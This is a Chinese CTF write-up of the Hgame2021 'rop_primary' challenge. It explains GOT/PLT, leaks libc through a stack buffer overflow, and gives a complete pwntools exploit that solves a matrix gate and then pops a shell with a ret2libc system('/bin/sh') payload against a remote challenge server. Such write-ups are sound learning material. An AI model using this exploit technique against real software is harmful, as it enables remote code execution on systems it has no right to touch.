Hgame2021 rop_primary【复现】

本题出现的知识点蛮多的,虽然到最后就差最后一步没做出来,但我认为通过做这道题的收获还是非常大的(当然踩的坑也是不少)

0x01 矩阵

首先这道题无法在本地顺利运行,因为这道题一开始有个矩阵计算的关卡:

时间有限,而且量多,每次都是随机的,而且这块没有什么溢出点的,只能计算。

所以一开始我花了点时间写了个自动解矩阵的py,利用numpy模块来自动识别矩阵以及进行矩阵相乘,后面的数据交互处理我倒是花了很长时间,byte,str,int,float换来换去很麻烦。

from pwn import *
import numpy as np
import os
p = remote('159.75.104.107',30372)
context(os='linux',arch='amd64',log_level='debug')
#新建两个文本用于临时储存ab两个矩阵,我认为挺方便的,虽然确实有点蠢,但是和numpy自带的loadtxt我认为搭配得很好(但是单行或单列矩阵会出bug),如有好办法请大佬指教
f1 = open("./a.txt",'a')
f2 = open("./b.txt",'a')
p.recvuntil("A:\n")
f1.write((p.recvuntil("B:\n")).decode()[:-3])
f2.write((p.recvuntil("a * b = ?\n")).decode()[:-10])
f1.close()
f2.close()
a = np.loadtxt('a.txt')
b = np.loadtxt('b.txt')
c = np.dot(a,b)
x = c.shape[1]
y = c.shape[0]
#此段仅作调试时用
for i in range(y):
	for j in range(x):
		print(int(c[i][j]),end='')
		print(" ",end='')
	print("\n",end='')
#此段用于打包发送计算好的矩阵
for i in range(y):
	for j in range(x):
		p.send(str(int(c[i][j])).encode())
		p.send(b" ")
	if i<i-1:
		p.send(b"\n")
p.interactive()
#自动删除
os.remove("./a.txt")
os.remove("./b.txt")

出现了try your best,我们可以正式开始ROP了

0x02 泄信息泄露获取libc版本和地址

首先,我们要理清几个概念,libc,got表,plt表

libc:

静态链接库会编译进可执行文件,并被加载到内存,会造成空间浪费

静态链接库对程序的更新、部署、发布带来麻烦。如果静态库更新了,使用它的应用程序都需要重新编译、发布给用户(对于玩家来说,可能是一个很小的改动,却导致整个程序重新下载,全量更新)

动态链接库,即libc,在程序编译时并不会被链接到目标代码中,而是在执行文件中记录对动态库的引用,在程序运行时才被载入。不同的应用程序如果调用相同的库,那么在内存里只需要有一份该共享库的实例,规避了空间浪费问题。动态库在程序运行时才被载入,也解决了静态库对程序的更新、部署和发布带来的麻烦,用户只需要更新动态库即可,增量更新。

Linux下动态库文件的文件名形如 libxxx.so,其中so是 Shared Object 的缩写,即可以共享的目标文件。

GOT表与PLT表:

为了更好的用户体验和内存CPU的利用率,程序编译时会采用两种表进行辅助,一个为PLT表,一个为GOT表,PLT表可以称为内部函数表,GOT表为全局偏移表,这两个表是相对应的,什么叫做相对应呢,PLT表中的数据就是GOT表中的一个地址,如下图:

PLT表中的每一项的数据内容都是对应的GOT表中一项的地址,这个是固定不变的,到这里大家也知道了PLT表中的数据根本不是函数的真实地址,而是GOT表项的地址。

如何进行信息泄露?

到这里我们先打开ida

很明显,buf只有0x30的长度,但是检查的长度确是0x100,很明显的一个溢出点。

根据pwn checksec,我们也得知他开了NX和RELRO,其他几个没开,很明显就是ROP了,而且题目没给libc.so,那么就要靠我们自己去找了(也就是ret2csu)

pwntools自带的一些函数能很轻易的帮助我们获取elf的got表与plt表信息我们开始构造payload1:

payload1=b'a'*(0x30+8)+p64(pop_ret)+p64(puts_got)+p64(puts_plt)+p64(vuln)

这个payload作用是,同通过puts函数泄露puts函数的got表地址,最后再返回到vuln()函数(毕竟我们泄露的地址不能只用一次啊,而且内存中的地址是一直变化的,第二次那基本上不可能和第一次一样了)

传回来的数据我们要进行处理,一般来说64位程序函数地址都是6bytes的,而且此程序是(大部分程序也是)little即小端法,u64至少要求是8bytes,所以我们需要对其进行补全:

puts_got_addr=u64(p.recv(6)+b'\x00\x00')
print(hex(puts_got_addr))

于是乎,我们就得到了puts函数的got地址,并且可以根据它的后三位判断libc版本:

最后的“5a0”是一直不变的,我们可以利用真实地址后三位查库libc库

当然你也可以用LibcSearcher.py就是了

这么多版本,到底哪一个才是我们需要的呢,LibcSearcher给出的信息是如下:

这也有两个,到底哪一个才是呢?

问了大佬,其实libc6_2.31-0ubuntu9.1_amd64、libc6_2.31-0ubuntu9.2_amd64、libc6_2.31-0ubuntu9_amd64这三个库的版本差的不太多,至少常用的函数和字段(比如write,puts,open,read,system,str_bin_sh)都是一样的,没有任何区别,所以我就下载了一个9.2的libc.so用用

0x03 offset

首先需要知道:

偏移 offset=function1真实地址-function1libc在库地址=function2真实地址-function2在libc库地址(虽然我写的时候一般是libc_base啦坏习惯2333)

libc_base=puts_got_addr-libc.sym['puts']
system_addr = libc_base+libc.sym['system']
bin_sh_addr = libc_base+0x1b75aa 

其实倒也不必libc.sym[‘function’]的,毕竟我们本来就可以通过上面的libc库查询网站查到对应函数的在库地址的

0x04 最终payload以及修栈问题

第一次我们成功的泄露了puts的真实地址,返回vuln我们第二次就可以进行rop攻击了,毕竟我们已经获知system和binsh的真实地址了

payload2是这样的:

payload2=b'a'*(0x30+8)+p64(pop_ret)+p64(bin_sh_addr)+p64(system_addr)

一开始,我认为这是没有问题的,后来发现64位程序和32位程序还是有很大区别的,之前有一篇博客讲的就是32位的,比这简单多了,因为不需要修栈

请教了一下大佬,大佬告诉我前面加一个payload即修栈,果真就成功了

p.recvuntil("best\n")
#注意vul不是57B的那个
vul_addr=0x40157C
p.sendline(b'a'*0x38+p64(pop_ret)+p64(puts_got)+p64(puts_plt)+p64(vul_addr))

好耶!

0x05 最终exp

from pwn import *
import numpy as np
import os
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
p = remote('159.75.104.107',30372)
elf=ELF('./rop_primary')
libc = ELF('libc6_2.31-0ubuntu9.2_amd64.so')
vuln=elf.sym['vuln']
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_ret=0x401613
f1 = open("./a.txt",'a')
f2 = open("./b.txt",'a')
p.recvuntil("A:\n")
f1.write((p.recvuntil("B:\n")).decode()[:-3])
f2.write((p.recvuntil("a * b = ?\n")).decode()[:-10])
f1.close()
f2.close()
a = np.loadtxt('a.txt')
b = np.loadtxt('b.txt')
c = np.dot(a,b)
x = c.shape[1]
y = c.shape[0]
for i in range(y):
	for j in range(x):
		p.send(str(int(c[i][j])).encode())
		p.send(b" ")
	if i<i-1:
		p.send(b"\n")
os.remove("./a.txt")
os.remove("./b.txt")
p.recvuntil("try your best\n")
payload1=b'a'*(0x30+8)+p64(pop_ret)+p64(puts_got)+p64(puts_plt)+p64(vuln)
p.sendline(payload1)
puts_got_addr=u64(p.recv(6)+b'\x00\x00')
print(hex(puts_got_addr))
print(libc.sym['puts'])
libc_base=puts_got_addr-libc.sym['puts']
system_addr = libc_base+libc.sym['system']
bin_sh_addr = libc_base+0x1b75aa 
print(hex(system_addr))
print(hex(bin_sh_addr))
print(hex(vuln))
p.recvuntil("best\n")
vul_addr=0x40157C
p.sendline(b'a'*0x38+p64(pop_ret)+p64(puts_got)+p64(puts_plt)+p64(vul_addr))
p.recvuntil("best\n")
payload2=b'a'*(0x30+8)+p64(pop_ret)+p64(bin_sh_addr)+p64(system_addr)
p.sendline(payload2)
p.interactive()

参考文章:

【1】linux动态链接库 https://www.cnblogs.com/zuofaqi/p/10440754.html

【2】理解got和plt https://blog.csdn.net/zhangmiaoping23/article/details/82590259

【3】中级 ROP https://wiki.x10sec.org/pwn/linux/stackoverflow/medium-rop-zh/

【4】ctfwiki中级ROP level5详解 https://www.jianshu.com/p/af06a5b0b1ad?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇